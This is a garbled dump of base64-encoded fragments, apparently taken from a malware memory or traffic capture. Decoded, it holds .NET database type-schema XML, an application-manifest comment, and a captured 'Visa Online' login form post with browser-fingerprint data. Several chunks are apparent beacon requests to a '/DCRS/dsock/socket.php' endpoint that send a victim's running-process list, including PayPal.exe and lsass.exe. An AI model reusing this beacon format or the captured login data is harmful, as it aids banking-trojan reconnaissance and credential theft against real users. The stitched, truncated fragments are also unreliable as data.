WxsYWJsZT50cnVlPC9Jc051bGxhYmxlPiAgICA8SXNTZWFyY2hhYmxlPnRydWU8L0lzU2VhcmNoYWJsZT4gICAgPElzU2VhcmNoYWJsZVdpdGhMaWtlPmZhbHNlPC9Jc1NlYXJjaGFibGVXaXRoTGlrZT4gICAgPElzQmVzdE1hdGNoPmZhbHNlPC9Jc0Jlc3RNYXRjaD4gIDwvRGF0YVR5cGVzPiAgPERhdGFUeXBlcz4gICAgPFR5cGVOYW1lPmJvb2w8L1R5cGVOYW1lPiAgICA8UHJvdmlkZXJEYlR5cGU+MzwvUHJvdmlkZXJEYlR5cGU+ICAgIDxDb2x1bW5TaXplPjE8L0NvbHVtblNpemU+ICAgIDxEYXRhVHlwZT5TeXN0ZW0uQm9vbGVhbjwvRGF0YVR5cGU+ICAgIDxDcmVhdGVGb3JtYXQ+Ym9vbDwvQ3JlYXRlRm9ybWF0PiAgICA8SXNBdXRvSW5jcmVtZW50YWJsZT5mYWxzZTwvSXNBdXRvSW5jcmVtZW50YWJsZT4gICAgPElzQ2FzZVNlbnNpdGl2ZT5mYWxzZTwvSXNDYXNlU2Vuc2l0aXZlPiAgICA8SXNGaXhlZExlbmd0aD50cnVlPC9Jc0ZpeGVkTGVuZ3RoPiAgICA8SXNGaXhlZFByZWNpc2lvblNjYWxlPmZhbHNlPC9Jc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ICAgIDxJc0xvbmc+ZmFsc2U8L0lzTG9uZz4gICAgPElzTnVsbGFibGU+dHJ1ZTwvSXNOdWxsYWJsZT4gICAgPElzU2VhcmNoYWJsZT50cnVlPC9Jc1NlYXJjaGFibGU+ICAgIDxJc1NlYXJjaGFibGVXaXRoTGlrZT5mYWxzZTwvSXNTZWFyY2hhYg==5f:T554,X19FVkVOVFRBUkdFVD1jdGwwMCUyNFBsYWNlSG9sZGVyTWFpbiUyNGJ0bkxvZ2luJl9fRVZFTlRBUkdVTUVOVD0mX19MQVNURk9DVVM9Jl9fVklFV1NUQVRFPSMwIyZfX1ZJRVdTVEFURUdFTkVSQVRPUj0jMSMmX19WSUVXU1RBVEVFTkNSWVBURUQ9Jl9fRVZFTlRWQUxJREFUSU9OPSMzIyZjdGwwMCUyNExhbmd1YWdlRERMPWVuLVVTJmN0bDAwJTI0UGxhY2VIb2xkZXJNYWluJTI0dHh0RGV2aWNlVG9rZW49dmVyc2lvbiUzRDElMjZwbV9mcHVhJTNEbW96aWxsYSUyRjUuMCUyMCh3aW5kb3dzJTIwbnQlMjAxMC4wJTNCJTIwd293NjQpJTIwYXBwbGV3ZWJraXQlMkY1MzcuMzYlMjAoa2h0bWwlMkMlMjBsaWtlJTIwZ2Vja28pJTIwY2hyb21lJTJGNTEuMC4yNzA0LjEwMyUyMHNhZmFyaSUyRjUzNy4zNiU3QzUuMCUyMChXaW5kb3dzJTIwTlQlMjAxMC4wJTNCJTIwV09XNjQpJTIwQXBwbGVXZWJLaXQlMkY1MzcuMzYlMjAoS0hUTUwlMkMlMjBsaWtlJTIwR2Vja28pJTIwQ2hyb21lJTJGNTEuMC4yNzA0LjEwMyUyMFNhZmFyaSUyRjUzNy4zNiU3Q1dpbjMyJTI2cG1fZnBzYyUzRDI0JTdDMTkyMCU3QzEwODAlN0MxMDQwJTI2cG1fZnBzdyUzRCUyNnBtX2ZwdHolM0QtNCUyNnBtX2ZwbG4lM0RsYW5nJTNEcnUlN0NzeXNsYW5nJTNEJTdDdXNlcmxhbmclM0QlMjZwbV9mcGp2JTNEMCUyNnBtX2ZwY28lM0QxJmN0bDAwJTI0UGxhY2VIb2xkZXJNYWluJTI0dHh0Q29va2llU3RhdHVzPXRydWUmY3RsMDAlMjRQbGFjZUhvbGRlck1haW4lMjRlbnJvbGx0aXRsZT1FbnJvbGwlMjBpbiUyMFZpc2ElMjBPbmxpbmUmY3RsMDAlMjRQbGFjZUhvbGRlck1haW4lMjRlbnJvbGxUb29sVGlwPUVucm9sbCUyME5vdyZjdGwwMCUyNFBsYWNlSG9sZGVyTWFpbiUyNHNjcm9sbERvd25Ub29sVGlwVGV4dD1TY3JvbGwlMjBEb3duJmN0bDAwJTI0UGxhY2VIb2xkZXJNYWluJTI0aGRuRlBTSW5kaWNhdG9yPTAmY3RsMDAlMjRQbGFjZUhvbGRlck1haW4lMjRWRVBvcFVwVXJsPSZjdGwwMCUyNFBsYWNlSG9sZGVyTWFpbiUyNFZlVXNl60:T508,YWJsZVdpdGhMaWtlPiAgICA8SXNVbnNpZ25lZD5mYWxzZTwvSXNVbnNpZ25lZD4gICAgPElzQmVzdE1hdGNoPmZhbHNlPC9Jc0Jlc3RNYXRjaD4gIDwvRGF0YVR5cGVzPiAgPERhdGFUeXBlcz4gICAgPFR5cGVOYW1lPmJpbmFyeTwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT4xPC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MjE0NzQ4MzY0NzwvQ29sdW1uU2l6ZT4gICAgPERhdGFUeXBlPlN5c3RlbS5CeXRlW108L0RhdGFUeXBlPiAgICA8Q3JlYXRlRm9ybWF0PmJpbmFyeTwvQ3JlYXRlRm9ybWF0PiAgICA8SXNBdXRvSW5jcmVtZW50YWJsZT5mYWxzZTwvSXNBdXRvSW5jcmVtZW50YWJsZT4gICAgPElzQ2FzZVNlbnNpdGl2ZT5mYWxzZTwvSXNDYXNlU2Vuc2l0aXZlPiAgICA8SXNGaXhlZExlbmd0aD5mYWxzZTwvSXNGaXhlZExlbmd0aD4gICAgPElzRml4ZWRQcmVjaXNpb25TY2FsZT5mYWxzZTwvSXNGaXhlZFByZWNpc2lvblNjYWxlPiAgICA8SXNMb25nPmZhbHNlPC9Jc0xvbmc+ICAgIDxJc051bGxhYmxlPnRydWU8L0lzTnVsbGFibGU+ICAgIDxJc1NlYXJjaGFibGU+ZmFsc2U8L0lzU2VhcmNoYWJsZT4gICAgPElzU2VhcmNoYWJsZVdpdGhMaWtlPmZhbHNlPC9Jc1NlYXJjaGFibGVXaXRoTGlrZT4gICAgPExpdGVyYWxQcmVmaXg+WCc8L0xpdGVyYWxQcmVmaXg+ICAgIDxMaXRlcmFsU3VmZml4Pic8L0xpdGVyYWxTdWZmaXg+ICAgIDxJc0Jlc3RNYXRjaD50cnVlPC9Jc0Jlc3RNYXRjaD4gIDwvRGF0YVR5cGVzPiAgPERhdGFUeXBlcz4gICAgPFR5cGVOYW1lPnZhcmJpbmFyeTwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT4xPC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MjE0NzQ4MzY0NzwvQ29sdW1uU2l6ZT4gICAgPERhdGFUeXBlPlN5c3RlbS5CeXRlW108L0RhdGFUeXBlPiAgICA8Q3JlYXRlRm9ybWF0PnZhcmJpbmFyeTwvQ3JlYXRlRm9ybWF0Pg==61:T50c,YWJsZVdpdGhMaWtlPnRydWU8L0lzU2VhcmNoYWJsZVdpdGhMaWtlPiAgICA8TGl0ZXJhbFByZWZpeD4nPC9MaXRlcmFsUHJlZml4PiAgICA8TGl0ZXJhbFN1ZmZpeD4nPC9MaXRlcmFsU3VmZml4PiAgICA8SXNCZXN0TWF0Y2g+ZmFsc2U8L0lzQmVzdE1hdGNoPiAgPC9EYXRhVHlwZXM+ICA8RGF0YVR5cGVzPiAgICA8VHlwZU5hbWU+bm90ZTwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT4xNjwvUHJvdmlkZXJEYlR5cGU+ICAgIDxDb2x1bW5TaXplPjIxNDc0ODM2NDc8L0NvbHVtblNpemU+ICAgIDxDcmVhdGVQYXJhbWV0ZXJzPm1heCBsZW5ndGg8L0NyZWF0ZVBhcmFtZXRlcnM+ICAgIDxEYXRhVHlwZT5TeXN0ZW0uU3RyaW5nPC9EYXRhVHlwZT4gICAgPENyZWF0ZUZvcm1hdD5ub3RlKHswfSk8L0NyZWF0ZUZvcm1hdD4gICAgPElzQXV0b0luY3JlbWVudGFibGU+ZmFsc2U8L0lzQXV0b0luY3JlbWVudGFibGU+ICAgIDxJc0Nhc2VTZW5zaXRpdmU+ZmFsc2U8L0lzQ2FzZVNlbnNpdGl2ZT4gICAgPElzRml4ZWRMZW5ndGg+ZmFsc2U8L0lzRml4ZWRMZW5ndGg+ICAgIDxJc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ZmFsc2U8L0lzRml4ZWRQcmVjaXNpb25TY2FsZT4gICAgPElzTG9uZz5mYWxzZTwvSXNMb25nPiAgICA8SXNOdWxsYWJsZT50cnVlPC9Jc051bGxhYmxlPiAgICA8SXNTZWFyY2hhYmxlPnRydWU8L0lzU2VhcmNoYWJsZT4gICAgPElzU2VhcmNoYWJsZVdpdGhMaWtlPnRydWU8L0lzU2VhcmNoYWJsZVdpdGhMaWtlPiAgICA8TGl0ZXJhbFByZWZpeD4nPC9MaXRlcmFsUHJlZml4PiAgICA8TGl0ZXJhbFN1ZmZpeD4nPC9MaXRlcmFsU3VmZml4PiAgICA8SXNCZXN0TWF0Y2g+ZmFsc2U8L0lzQmVzdE1hdGNoPiAgPC9EYXRhVHlwZXM+ICA8RGF0YVR5cGVzPiAgICA8VHlwZU5hbWU+dGV4dDwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT4xNjwvUHJvdmlkZXJEYlR5cGU+ICAgIDxDb2x1bW5T62:T510,YWxzZTwvSXNBdXRvSW5jcmVtZW50YWJsZT4gICAgPElzQ2FzZVNlbnNpdGl2ZT5mYWxzZTwvSXNDYXNlU2Vuc2l0aXZlPiAgICA8SXNGaXhlZExlbmd0aD50cnVlPC9Jc0ZpeGVkTGVuZ3RoPiAgICA8SXNGaXhlZFByZWNpc2lvblNjYWxlPnRydWU8L0lzRml4ZWRQcmVjaXNpb25TY2FsZT4gICAgPElzTG9uZz5mYWxzZTwvSXNMb25nPiAgICA8SXNOdWxsYWJsZT50cnVlPC9Jc051bGxhYmxlPiAgICA8SXNTZWFyY2hhYmxlPnRydWU8L0lzU2VhcmNoYWJsZT4gICAgPElzU2VhcmNoYWJsZVdpdGhMaWtlPmZhbHNlPC9Jc1NlYXJjaGFibGVXaXRoTGlrZT4gICAgPElzVW5zaWduZWQ+ZmFsc2U8L0lzVW5zaWduZWQ+ICAgIDxJc0Jlc3RNYXRjaD5mYWxzZTwvSXNCZXN0TWF0Y2g+ICA8L0RhdGFUeXBlcz4gIDxEYXRhVHlwZXM+ICAgIDxUeXBlTmFtZT5kZWNpbWFsPC9UeXBlTmFtZT4gICAgPFByb3ZpZGVyRGJUeXBlPjc8L1Byb3ZpZGVyRGJUeXBlPiAgICA8Q29sdW1uU2l6ZT4xOTwvQ29sdW1uU2l6ZT4gICAgPERhdGFUeXBlPlN5c3RlbS5EZWNpbWFsPC9EYXRhVHlwZT4gICAgPENyZWF0ZUZvcm1hdD5kZWNpbWFsPC9DcmVhdGVGb3JtYXQ+ICAgIDxJc0F1dG9JbmNyZW1lbnRhYmxlPmZhbHNlPC9Jc0F1dG9JbmNyZW1lbnRhYmxlPiAgICA8SXNDYXNlU2Vuc2l0aXZlPmZhbHNlPC9Jc0Nhc2VTZW5zaXRpdmU+ICAgIDxJc0ZpeGVkTGVuZ3RoPnRydWU8L0lzRml4ZWRMZW5ndGg+ICAgIDxJc0ZpeGVkUHJlY2lzaW9uU2NhbGU+dHJ1ZTwvSXNGaXhlZFByZWNpc2lvblNjYWxlPiAgICA8SXNMb25nPmZhbHNlPC9Jc0xvbmc+ICAgIDxJc051bGxhYmxlPnRydWU8L0lzTnVsbGFibGU+ICAgIDxJc1NlYXJjaGFibGU+dHJ1ZTwvSXNTZWFyY2hhYmxlPiAgICA8SXNTZWFyY2hhYmxlV2l0aExpa2U+ZmFsc2U8L0lzU2VhcmNoYWJsZVdpdGhMaWtlPiAgICA8SXNVbnNpZ25lZD5mYWxzZTwvSXNVbnNpZ25lZD4gICAgPEk=63:T50c,QmVzdE1hdGNoPnRydWU8L0lzQmVzdE1hdGNoPiAgPC9EYXRhVHlwZXM+ICA8RGF0YVR5cGVzPiAgICA8VHlwZU5hbWU+bnVtZXJpYzwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT43PC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MTk8L0NvbHVtblNpemU+ICAgIDxEYXRhVHlwZT5TeXN0ZW0uRGVjaW1hbDwvRGF0YVR5cGU+ICAgIDxDcmVhdGVGb3JtYXQ+bnVtZXJpYzwvQ3JlYXRlRm9ybWF0PiAgICA8SXNBdXRvSW5jcmVtZW50YWJsZT5mYWxzZTwvSXNBdXRvSW5jcmVtZW50YWJsZT4gICAgPElzQ2FzZVNlbnNpdGl2ZT5mYWxzZTwvSXNDYXNlU2Vuc2l0aXZlPiAgICA8SXNGaXhlZExlbmd0aD50cnVlPC9Jc0ZpeGVkTGVuZ3RoPiAgICA8SXNGaXhlZFByZWNpc2lvblNjYWxlPnRydWU8L0lzRml4ZWRQcmVjaXNpb25TY2FsZT4gICAgPElzTG9uZz5mYWxzZTwvSXNMb25nPiAgICA8SXNOdWxsYWJsZT50cnVlPC9Jc051bGxhYmxlPiAgICA8SXNTZWFyY2hhYmxlPnRydWU8L0lzU2VhcmNoYWJsZT4gICAgPElzU2VhcmNoYWJsZVdpdGhMaWtlPmZhbHNlPC9Jc1NlYXJjaGFibGVXaXRoTGlrZT4gICAgPElzVW5zaWduZWQ+ZmFsc2U8L0lzVW5zaWduZWQ+ICAgIDxJc0Jlc3RNYXRjaD5mYWxzZTwvSXNCZXN0TWF0Y2g+ICA8L0RhdGFUeXBlcz4gIDxEYXRhVHlwZXM+ICAgIDxUeXBlTmFtZT5iaXQ8L1R5cGVOYW1lPiAgICA8UHJvdmlkZXJEYlR5cGU+MzwvUHJvdmlkZXJEYlR5cGU+ICAgIDxDb2x1bW5TaXplPjE8L0NvbHVtblNpemU+ICAgIDxEYXRhVHlwZT5TeXN0ZW0uQm9vbGVhbjwvRGF0YVR5cGU+ICAgIDxDcmVhdGVGb3JtYXQ+Yml0PC9DcmVhdGVGb3JtYXQ+ICAgIDxJc0F1dG9JbmNyZW1lbnRhYmxlPmZhbHNlPC9Jc0F1dG9JbmNyZW1lbnRhYmxlPiAgICA8SXNDYXNlU2Vuc2l0aXZlPmZhbHNlPC9Jc0Nhc2VTZW5zaXRpdmU+ICAgIDxJc0ZpeGVkTGVuZ3RoPnRydWU8L0lzRml464:T50c,Y2FsZT4gICAgPElzTG9uZz5mYWxzZTwvSXNMb25nPiAgICA8SXNOdWxsYWJsZT50cnVlPC9Jc051bGxhYmxlPiAgICA8SXNTZWFyY2hhYmxlPnRydWU8L0lzU2VhcmNoYWJsZT4gICAgPElzU2VhcmNoYWJsZVdpdGhMaWtlPnRydWU8L0lzU2VhcmNoYWJsZVdpdGhMaWtlPiAgICA8TGl0ZXJhbFByZWZpeD4nPC9MaXRlcmFsUHJlZml4PiAgICA8TGl0ZXJhbFN1ZmZpeD4nPC9MaXRlcmFsU3VmZml4PiAgICA8SXNCZXN0TWF0Y2g+ZmFsc2U8L0lzQmVzdE1hdGNoPiAgPC9EYXRhVHlwZXM+ICA8RGF0YVR5cGVzPiAgICA8VHlwZU5hbWU+dGltZTwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT42PC9Qcm92aWRlckRiVHlwZT4gICAgPENvbHVtblNpemU+MjM8L0NvbHVtblNpemU+ICAgIDxEYXRhVHlwZT5TeXN0ZW0uRGF0ZVRpbWU8L0RhdGFUeXBlPiAgICA8Q3JlYXRlRm9ybWF0PnRpbWU8L0NyZWF0ZUZvcm1hdD4gICAgPElzQXV0b0luY3JlbWVudGFibGU+ZmFsc2U8L0lzQXV0b0luY3JlbWVudGFibGU+ICAgIDxJc0Nhc2VTZW5zaXRpdmU+ZmFsc2U8L0lzQ2FzZVNlbnNpdGl2ZT4gICAgPElzRml4ZWRMZW5ndGg+dHJ1ZTwvSXNGaXhlZExlbmd0aD4gICAgPElzRml4ZWRQcmVjaXNpb25TY2FsZT5mYWxzZTwvSXNGaXhlZFByZWNpc2lvblNjYWxlPiAgICA8SXNMb25nPmZhbHNlPC9Jc0xvbmc+ICAgIDxJc051bGxhYmxlPnRydWU8L0lzTnVsbGFibGU+ICAgIDxJc1NlYXJjaGFibGU+dHJ1ZTwvSXNTZWFyY2hhYmxlPiAgICA8SXNTZWFyY2hhYmxlV2l0aExpa2U+dHJ1ZTwvSXNTZWFyY2hhYmxlV2l0aExpa2U+ICAgIDxMaXRlcmFsUHJlZml4Pic8L0xpdGVyYWxQcmVmaXg+ICAgIDxMaXRlcmFsU3VmZml4Pic8L0xpdGVyYWxTdWZmaXg+ICAgIDxJc0Jlc3RNYXRjaD5mYWxzZTwvSXNCZXN0TWF0Y2g+ICA8L0RhdGFUeXBlcz4gIDxEYXRhVHlwZXM+ICAgIDxUeXBlTmFtZT51bmlxdWVpZGVudGlmaQ==65:T50c,Y2hhYmxlPmZhbHNlPC9Jc1NlYXJjaGFibGU+ICAgIDxJc1NlYXJjaGFibGVXaXRoTGlrZT5mYWxzZTwvSXNTZWFyY2hhYmxlV2l0aExpa2U+ICAgIDxMaXRlcmFsUHJlZml4PlgnPC9MaXRlcmFsUHJlZml4PiAgICA8TGl0ZXJhbFN1ZmZpeD4nPC9MaXRlcmFsU3VmZml4PiAgICA8SXNCZXN0TWF0Y2g+ZmFsc2U8L0lzQmVzdE1hdGNoPiAgPC9EYXRhVHlwZXM+ICA8RGF0YVR5cGVzPiAgICA8VHlwZU5hbWU+dmFyY2hhcjwvVHlwZU5hbWU+ICAgIDxQcm92aWRlckRiVHlwZT4xNjwvUHJvdmlkZXJEYlR5cGU+ICAgIDxDb2x1bW5TaXplPjIxNDc0ODM2NDc8L0NvbHVtblNpemU+ICAgIDxDcmVhdGVQYXJhbWV0ZXJzPm1heCBsZW5ndGg8L0NyZWF0ZVBhcmFtZXRlcnM+ICAgIDxEYXRhVHlwZT5TeXN0ZW0uU3RyaW5nPC9EYXRhVHlwZT4gICAgPENyZWF0ZUZvcm1hdD52YXJjaGFyKHswfSk8L0NyZWF0ZUZvcm1hdD4gICAgPElzQXV0b0luY3JlbWVudGFibGU+ZmFsc2U8L0lzQXV0b0luY3JlbWVudGFibGU+ICAgIDxJc0Nhc2VTZW5zaXRpdmU+ZmFsc2U8L0lzQ2FzZVNlbnNpdGl2ZT4gICAgPElzRml4ZWRMZW5ndGg+ZmFsc2U8L0lzRml4ZWRMZW5ndGg+ICAgIDxJc0ZpeGVkUHJlY2lzaW9uU2NhbGU+ZmFsc2U8L0lzRml4ZWRQcmVjaXNpb25TY2FsZT4gICAgPElzTG9uZz5mYWxzZTwvSXNMb25nPiAgICA8SXNOdWxsYWJsZT50cnVlPC9Jc051bGxhYmxlPiAgICA8SXNTZWFyY2hhYmxlPnRydWU8L0lzU2VhcmNoYWJsZT4gICAgPElzU2VhcmNoYWJsZVdpdGhMaWtlPnRydWU8L0lzU2VhcmNoYWJsZVdpdGhMaWtlPiAgICA8TGl0ZXJhbFByZWZpeD4nPC9MaXRlcmFsUHJlZml4PiAgICA8TGl0ZXJhbFN1ZmZpeD4nPC9MaXRlcmFsU3VmZml4PiAgICA8SXNCZXN0TWF0Y2g+dHJ1ZTwvSXNCZXN0TWF0Y2g+ICA8L0RhdGFUeXBlcz4gIDxEYXRhVHlwZXM+ICAgIDxUeXBlTmFtZT5udmFyY2hhcjwvVHlwZU5hbWU+66:T504,LS0gSW5kaWNhdGVzIHRoYXQgdGhlIGFwcGxpY2F0aW9uIGlzIERQSS1hd2FyZSBhbmQgd2lsbCBub3QgYmUgYXV0b21hdGljYWxseSBzY2FsZWQgYnkgV2luZG93cyBhdCBoaWdoZXIgICAgICAgRFBJcy4gV2luZG93cyBQcmVzZW50YXRpb24gRm91bmRhdGlvbiAoV1BGKSBhcHBsaWNhdGlvbnMgYXJlIGF1dG9tYXRpY2FsbHkgRFBJLWF3YXJlIGFuZCBkbyBub3QgbmVlZCAgICAgICAgdG8gb3B0IGluLiBXaW5kb3dzIEZvcm1zIGFwcGxpY2F0aW9ucyB0YXJnZXRpbmcgLk5FVCBGcmFtZXdvcmsgNC42IHRoYXQgb3B0IGludG8gdGhpcyBzZXR0aW5nLCBzaG91bGQgICAgICAgIGFsc28gc2V0IHRoZSAnRW5hYmxlV2luZG93c0Zvcm1zSGlnaERwaUF1dG9SZXNpemluZycgc2V0dGluZyB0byAndHJ1ZScgaW4gdGhlaXIgYXBwLmNvbmZpZy4gLS0+ICAgICA8YXBwbGljYXRpb24geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4gICAgPHdpbmRvd3NTZXR0aW5ncz4gICAgICA8ZHBpQXdhcmUgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vU01JLzIwMDUvV2luZG93c1NldHRpbmdzIj50cnVlPC9kcGlBd2FyZT4gICAgPC93aW5kb3dzU2V0dGluZ3M+ICA8L2FwcGxpY2F0aW9uPiAgLS0+ICAgIEVuYWJsZSB0aGVtZXMgZm9yIFdpbmRvd3MgY29tbW9uIGNvbnRyb2xzIGFuZCBkaWFsb2dzIChXaW5kb3dzIFhQIGFuZCBsYXRlcikgLS0+ICAgICA8ZGVwZW5kZW5jeT4gICAgPGRlcGVuZGVudEFzc2VtYmx5PiAgICAgIDxhc3NlbWJseUlkZW50aXR5ICAgICAgICAgIHR5cGU9IndpbjMyIiAgICAgICAgICBuYW1lPSJNaWNyb3NvZnQuV2luZG93cy5Db21tb24tQ29udHJvbHMiICAgICAgICAgIHZlcnNpb249IjYuMC4wLjAiICAgICAgICAgIHByb2Nlc3NvckFyY2hpdGVjdHVyZT0iKiIgICAgICAgICAgcHVibGljS2V5VG9rZW49IjY1OTViNjQxNDRjY2YxZGYi67:T45c,L0RDUlMvZHNvY2svL3NvY2tldC5waHA/dHlwZT1fX2RzX3NldGRhdGEmX19kc19zZXRkYXRhX3VzZXI9OGUxNGY1NzYzMDk2MmMzMjJlNzQzOGE1NjA0ZDY0NWZhYmQ5MGUxZSZfX2RzX3NldGRhdGFfZXh0PTI2MjIxNDM5NzY0NWE0MDZmODcxZGQ2ZGI5Zjg2MDgxJl9fZHNfc2V0ZGF0YV9kYXRhPSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc21zcy5leGUlM0NTVFIlM0VPU1BQU1ZDLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXdpbmxvZ29uLmV4ZSUzQ1NUUiUzRXRhc2tob3N0LmV4ZSUzQ1NUUiUzRWRsbGhvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VQYXlQYWwuZXhlJTNDU1RSJTNFZHdtLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWxzbS5leGUlM0NTVFIlM0Vsc2Fzcy5leGUlM0NTVFIlM0Vmb250cmV2aWV3LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXNlcnZpY2VzLmV4ZSUzQ1NUUiUzRXNwb29sc3YuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0V3aW5pbml0LmV4ZSUzQ1NUUiUzRVdtaVBydlNFLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFZXhwbG9yZXIuZXhlJTNDU1RSJTNFY29uaG9zdC5leGUlM0NTVFIlM0VTeXN0ZW0uZXhlJTNDU1RSJTNFSWRsZS5leGU=68:T440,L0RDUlMvZHNvY2svL3NvY2tldC5waHA/dHlwZT1fX2RzX3NldGRhdGEmX19kc19zZXRkYXRhX3VzZXI9OGUxNGY1NzYzMDk2MmMzMjJlNzQzOGE1NjA0ZDY0NWZhYmQ5MGUxZSZfX2RzX3NldGRhdGFfZXh0PTI2MjIxNDM5NzY0NWE0MDZmODcxZGQ2ZGI5Zjg2MDgxJl9fZHNfc2V0ZGF0YV9kYXRhPSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc21zcy5leGUlM0NTVFIlM0VPU1BQU1ZDLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXdpbmxvZ29uLmV4ZSUzQ1NUUiUzRXRhc2tob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFUGF5UGFsLmV4ZSUzQ1NUUiUzRWR3bS5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0Vsc20uZXhlJTNDU1RSJTNFbHNhc3MuZXhlJTNDU1RSJTNFZm9udHJldmlldy5leGUlM0NTVFIlM0Vjc3Jzcy5leGUlM0NTVFIlM0VzZXJ2aWNlcy5leGUlM0NTVFIlM0VzcG9vbHN2LmV4ZSUzQ1NUUiUzRWNvbmhvc3QuZXhlJTNDU1RSJTNFd2luaW5pdC5leGUlM0NTVFIlM0VXbWlQcnZTRS5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWNvbmhvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWV4cGxvcmVyLmV4ZSUzQ1NUUiUzRWNvbmhvc3QuZXhlJTNDU1RSJTNFU3lzdGVtLmV4ZSUzQ1NUUiUzRUlkbGUuZXhl69:T478,L0RDUlMvZHNvY2svL3NvY2tldC5waHA/dHlwZT1fX2RzX3NldGRhdGEmX19kc19zZXRkYXRhX3VzZXI9OGUxNGY1NzYzMDk2MmMzMjJlNzQzOGE1NjA0ZDY0NWZhYmQ5MGUxZSZfX2RzX3NldGRhdGFfZXh0PTI2MjIxNDM5NzY0NWE0MDZmODcxZGQ2ZGI5Zjg2MDgxJl9fZHNfc2V0ZGF0YV9kYXRhPSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc21zcy5leGUlM0NTVFIlM0VPU1BQU1ZDLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXdpbmxvZ29uLmV4ZSUzQ1NUUiUzRXRhc2tob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFUGF5UGFsLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFZHdtLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWxzbS5leGUlM0NTVFIlM0Vsc2Fzcy5leGUlM0NTVFIlM0Vmb250cmV2aWV3LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXNlcnZpY2VzLmV4ZSUzQ1NUUiUzRWRsbGhvc3QuZXhlJTNDU1RSJTNFc3Bvb2xzdi5leGUlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRXdpbmluaXQuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VleHBsb3Jlci5leGUlM0NTVFIlM0Vjb25ob3N0LmV4ZSUzQ1NUUiUzRVN5c3RlbS5leGUlM0NTVFIlM0VJZGxlLmV4ZQ==6a:T45c,L0RDUlMvZHNvY2svL3NvY2tldC5waHA/dHlwZT1fX2RzX3NldGRhdGEmX19kc19zZXRkYXRhX3VzZXI9OGUxNGY1NzYzMDk2MmMzMjJlNzQzOGE1NjA0ZDY0NWZhYmQ5MGUxZSZfX2RzX3NldGRhdGFfZXh0PTI2MjIxNDM5NzY0NWE0MDZmODcxZGQ2ZGI5Zjg2MDgxJl9fZHNfc2V0ZGF0YV9kYXRhPSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFV21pUHJ2U0UuZXhlJTNDU1RSJTNFc21zcy5leGUlM0NTVFIlM0VPU1BQU1ZDLmV4ZSUzQ1NUUiUzRXN2Y2hvc3QuZXhlJTNDU1RSJTNFc3ZjaG9zdC5leGUlM0NTVFIlM0VzdmNob3N0LmV4ZSUzQ1NUUiUzRWNzcnNzLmV4ZSUzQ1NUUiUzRXdpbmxvZ29uLmV4ZSUzQ1NUUiUzRXRhc2tob3N0LmV4ZSUzQ1NUUiUzRXN2